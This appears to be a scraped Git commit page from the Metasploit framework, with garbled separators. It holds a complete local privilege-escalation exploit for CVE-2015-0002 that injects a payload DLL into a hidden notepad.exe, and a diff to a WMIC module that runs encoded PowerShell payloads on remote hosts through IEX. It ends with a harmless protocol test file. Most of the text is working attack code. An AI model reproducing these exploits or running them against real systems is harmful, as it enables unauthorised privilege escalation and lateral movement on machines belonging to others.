On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
|
||||
allows application compatibility data to be cached for quick reuse when new processes are
|
||||
created. A normal user can query the cache but cannot add new cached entries as the
|
||||
operation is restricted to administrators. This is checked in the function
|
||||
AhcVerifyAdminContext.
|
||||
|
||||
This function has a vulnerability where it doesn't correctly check the impersonation token
|
||||
of the caller to determine if the user is an administrator. It reads the caller's
|
||||
impersonation token using PsReferenceImpersonationToken and then does a comparison between
|
||||
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
|
||||
of the token so it's possible to get an identify token on your thread from a local system
|
||||
process and bypass this check.
|
||||
|
||||
This module currently only affects Windows 8 and Windows 8.1, and requires access to
|
||||
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Forshaw',
|
||||
'sinn3r'
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-0002' ],
|
||||
[ 'OSVEB', '116497' ],
|
||||
[ 'EDB', '35661' ],
|
||||
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
|
||||
],
|
||||
'DisclosureDate' => 'Sep 30 2014'
|
||||
}))
|
||||
end
|
||||
|
||||
def temp
|
||||
@temp ||= get_env('TEMP').to_s
|
||||
end
|
||||
|
||||
def payload_filepath
|
||||
@payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
|
||||
end
|
||||
|
||||
def upload_payload_dll(payload_filepath)
|
||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||
begin
|
||||
write_file(payload_filepath, payload)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(
|
||||
Failure::Unknown,
|
||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
print_status("Payload DLL will be: #{payload_filepath}")
|
||||
|
||||
# Upload the payload
|
||||
upload_payload_dll(payload_filepath)
|
||||
if !file?(payload_filepath)
|
||||
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
|
||||
end
|
||||
end
|
||||
|
||||
def inject_exploit(process)
|
||||
lib_file_path = ::File.join(
|
||||
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
|
||||
)
|
||||
|
||||
print_status("Creating thread")
|
||||
exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
|
||||
var_mem = inject_into_process(process, payload_filepath)
|
||||
process.thread.create(exploit_mem + offset, var_mem)
|
||||
end
|
||||
|
||||
def prep_exploit_host
|
||||
process = nil
|
||||
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
process = client.sys.process.open
|
||||
rescue ::Exception => e
|
||||
elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
process
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 8/
|
||||
# Still an 0day, but since this check doesn't actually trigger the vulnerability
|
||||
# so we should only flag this as CheckCode::Appears
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if session.platform !~ /^x86\//
|
||||
print_error("Sorry, this module currently only allows x86/win32 sessions.")
|
||||
print_error("You will have to get a x86/win32 session first, and then you can")
|
||||
print_error("select a x64 payload as this exploit's payload.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Uploading the payload DLL")
|
||||
upload_payload
|
||||
|
||||
proc = prep_exploit_host
|
||||
if !proc
|
||||
fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
|
||||
end
|
||||
|
||||
print_status("Injecting exploit into PID #{proc.pid}")
|
||||
inject_exploit(proc)
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -27,9 +27,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
the session's current authentication token instead of having to know
|
||||
a password or hash.
|
||||
|
||||
We do not get feedback from the WMIC command so there are no
|
||||
indicators of success or failure. The remote host must be configured
|
||||
to allow remote Windows Management Instrumentation.
|
||||
The remote host must be configured to allow remote Windows Management
|
||||
Instrumentation.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
|
@ -76,42 +75,51 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def run_host(server)
|
||||
# Get the PSH Payload and split it into bitesize chunks
|
||||
# 1024 appears to be the max value allowed in env vars
|
||||
if load_extapi
|
||||
psh_options = { :remove_comspec => true,
|
||||
:encode_final_payload => true }
|
||||
else
|
||||
psh_options = { :remove_comspec => true,
|
||||
:encode_inner_payload => true,
|
||||
:use_single_quotes => true }
|
||||
end
|
||||
|
||||
psh = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{
|
||||
:remove_comspec => true,
|
||||
:encode_inner_payload => true,
|
||||
:use_single_quotes => true
|
||||
})
|
||||
chunks = split_code(psh, 1000)
|
||||
psh_options)
|
||||
|
||||
begin
|
||||
print_status("[#{server}] Storing payload in environment variables")
|
||||
env_name = rand_text_alpha(rand(3)+3)
|
||||
env_vars = []
|
||||
0.upto(chunks.length-1) do |i|
|
||||
env_vars << "#{env_name}#{i}"
|
||||
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
|
||||
result = wmic_command(c, server)
|
||||
if load_extapi
|
||||
exec_cmd = psh
|
||||
else
|
||||
# Get the PSH Payload and split it into bitesize chunks
|
||||
# 1024 appears to be the max value allowed in env vars
|
||||
print_status("[#{server}] Storing payload in environment variables")
|
||||
chunks = split_code(psh, 1000)
|
||||
env_name = rand_text_alpha(rand(3)+3)
|
||||
env_vars = []
|
||||
0.upto(chunks.length-1) do |i|
|
||||
env_vars << "#{env_name}#{i}"
|
||||
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
|
||||
result = wmic_command(c, server)
|
||||
|
||||
unless result
|
||||
print_error("[#{server}] WMIC command error - skipping host")
|
||||
return false
|
||||
unless result
|
||||
print_error("[#{server}] WMIC command error - skipping host")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
x = rand_text_alpha(rand(3)+3)
|
||||
exec_cmd = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => "$#{x}=''"
|
||||
})
|
||||
env_vars.each do |env|
|
||||
exec_cmd << "+$env:#{env}"
|
||||
x = rand_text_alpha(rand(3)+3)
|
||||
exec_cmd = generate_psh_command_line({
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
:command => "$#{x}=''"
|
||||
})
|
||||
env_vars.each do |env|
|
||||
exec_cmd << "+$env:#{env}"
|
||||
end
|
||||
exec_cmd << ";IEX $#{x};"
|
||||
end
|
||||
exec_cmd << ";IEX $#{x};"
|
||||
|
||||
print_status("[#{server}] Executing payload")
|
||||
result = wmic_command(exec_cmd, server)
|
||||
|
@ -126,10 +134,12 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
print_error("[#{server}] failed...)")
|
||||
end
|
||||
|
||||
print_status("[#{server}] Cleaning up environment variables")
|
||||
env_vars.each do |env|
|
||||
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
|
||||
wmic_command(cleanup_cmd, server)
|
||||
unless load_extapi
|
||||
print_status("[#{server}] Cleaning up environment variables")
|
||||
env_vars.each do |env|
|
||||
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
|
||||
wmic_command(cleanup_cmd, server)
|
||||
end
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("[#{server}] Error moving on... #{e}")
|
||||
|
|
|
@ -0,0 +1,83 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/proto/acpp'
|
||||
|
||||
describe Rex::Proto::ACPP::Message do
|
||||
|
||||
subject(:message) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
# retrieve_public.bin has the contents of a message type 20 (retrieve
|
||||
# settings) message with a password of public. There is no payload.
|
||||
let(:retrieve_public_bin) do
|
||||
IO.read(File.join(File.dirname(__FILE__), 'retrieve_public.bin'))
|
||||
end
|
||||
|
||||
let(:retrieve_public_message) do
|
||||
message.password = 'public'
|
||||
message.type = 20
|
||||
message
|
||||
end
|
||||
|
||||
describe '#==' do
|
||||
it 'considers two different objects composed of equal parts equal' do
|
||||
message2 = described_class.new
|
||||
message2.password = 'public'
|
||||
message2.type = 20
|
||||
expect(message2).to eq(retrieve_public_message)
|
||||
end
|
||||
it 'considers two different objects composed of different parts unequal' do
|
||||
message3 = described_class.new
|
||||
message3.type = 1
|
||||
message3.password = 'private'
|
||||
expect(message3).not_to eq(retrieve_public_message)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#to_s' do
|
||||
it 'encodes properly' do
|
||||
expect(retrieve_public_bin).to eq(retrieve_public_message.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#decode' do
|
||||
it 'fails to decode if the message is the wrong size' do
|
||||
small = Rex::Text.rand_text_alpha(100)
|
||||
large = Rex::Text.rand_text_alpha(200)
|
||||
expect { described_class.decode(small) }.to raise_error(/size #{small.size}/i)
|
||||
expect { described_class.decode(large) }.to raise_error(/size #{large.size}/i)
|
||||
end
|
||||
it 'fails to decode if the required header is incorrect' do
|
||||
retrieve_public_bin[0,4] = 'blah'
|
||||
expect { described_class.decode(retrieve_public_bin) }.to raise_error(/header/i)
|
||||
end
|
||||
it 'decodes properly when the required checksum is correct' do
|
||||
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin))
|
||||
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, true))
|
||||
end
|
||||
it 'decodes properly when the non-required checksum is correct' do
|
||||
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false))
|
||||
end
|
||||
it 'decodes properly when the message checksum is incorrect' do
|
||||
retrieve_public_bin[7,4] = "\x01\x02\x03\x04"
|
||||
expect { described_class.decode(retrieve_public_bin) }.to raise_error(/message checksum/i)
|
||||
expect { described_class.decode(retrieve_public_bin, true) }.to raise_error(/message checksum/i)
|
||||
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false))
|
||||
end
|
||||
end
|
||||
|
||||
describe '#successful?' do
|
||||
it 'is successful when 0' do
|
||||
message = described_class.new
|
||||
message.status = 0
|
||||
expect(message.successful?).to be true
|
||||
end
|
||||
it 'is successful when !0' do
|
||||
message = described_class.new
|
||||
message.status = 1
|
||||
expect(message.successful?).to be false
|
||||
end
|
||||
end
|
||||
end
|
Binary file not shown.
Loading…
Reference in New Issue